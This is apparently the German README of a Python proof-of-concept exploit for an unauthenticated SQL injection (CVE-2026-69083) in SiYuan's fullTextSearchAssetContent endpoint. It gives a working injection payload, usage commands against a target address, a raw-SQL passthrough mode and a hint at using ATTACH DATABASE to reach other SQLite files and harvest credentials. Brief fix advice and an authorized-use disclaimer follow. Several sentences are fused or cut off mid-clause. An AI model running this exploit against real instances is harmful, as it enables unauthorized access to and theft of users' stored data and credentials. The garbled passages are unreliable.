
Python-PoC für CVE-2026-69083, eine nicht authentifizierte SQL-Injection im Such-Endpunkt für Asset-Inhalte von SiYuan. Unterstützt REGEXP-Breakout und direkte SQL-Durchreichung, um indizierte Assets und angehängte SQLite-Daten auszulesen.
Unauthentifizierte SQL-Injection in SiYuan (einer auf Go basierenden Wissensdatenbank-App) über den Asset-Content-Such-Endpunkt.
POST /api/search/fullTextSearchAssetContent erstellt eine rohe SQL-Anweisung, indem es den vom Benutzer kontrollierten Wert query ohne Escape direkt in eine REGEXP-Klausel verkettet (kernel/model/asset_content.go, assetContentFieldRegexp):
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>
Ein einfaches Anführungszeichen in query bricht aus dem String-Literal aus (CWE-89). Wenn SiYuan ohne einen Zugriffs-Auth-Code (Conf.AccessAuthCode == "") bereitgestellt wird, behandelt der gesamte Kernel Aufrufer als Administrator, ohne Anmeldedaten zu verlangen, sodass die Injection vollständig unauthentifiziert ist. method:3 ist der REGEXP-Ausbruch; method:2 übergibt query zusätzlich als rohe SQL-Anweisung.
< 3.7.36806 (unauthentifiziert, wenn kein accessAuthCode gesetzt ist)ATTACH DATABASE auf andere SQLite-Dateien) — z. B. Abgreifen von Anmeldeinformationen, die von Betreibern in Notizen indiziert wurden.Nur Python-3-Standardbibliothek – keine Abhängigkeiten.
# dump the asset-content index (method 3 REGEXP break-out)
python3 exploit.py http://10.10.10.10:6806/
# only rows matching a keyword
python3 exploit.py http://10.10.10.10:6806/ --grep password
# method 2 raw SQL passthrough (select the 7 columns id,name,ext,path,size,updated,content)
python3 exploit.py http://10.10.10.10:6806/ \
--sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"
Das Standard-Payload ist:
query = "zzqx') OR 1=1 -- "
zzqx') schließt die Gruppe (name REGEXP '...',OR 1=1 macht die WHERE-Klausel immer wahr,-- kommentiert den Rest der Zeile aus, einschließlich des abschließenden AND ext IN <types> — das ist
andernfalls ein Syntaxfehler, wenn types leer ist (SiYuan gibt AND ext IN ohne etwas dahinter
aus, und der Kernel gibt bei einem SQL-Fehler stillschweigend keine Zeilen zurück).Der Endpunkt gibt daraufhin jede Zeile des Asset-Content-Index zurück, und das Tool gibt den content jeder Zeile aus.
curl -s http://10.10.10.10:6806/system_stats # or browse http://10.10.10.10:6806/ (no login prompt)
Eine SiYuan-Instanz auf Port 6806, die ohne einen Zugriffs-Auth-Code geladen wird, ist ausnutzbar.
... REGEXP ?) und macht den Rohe-SQL-Pfad der Methode 2
von einer Administratorenprüfung abhängig.--accessAuthCode aus; machen Sie es niemals unauthentifiziert zugänglich — ohne Zugriffs-Auth-Code ist die gesamte Kernel-API für Administratoren offen.Nur für autorisierte Sicherheitstests und Schulungszwecke. Verwenden Sie es nur gegen Systeme, die Sie besitzen oder für deren Test Sie eine ausdrückliche Genehmigung haben.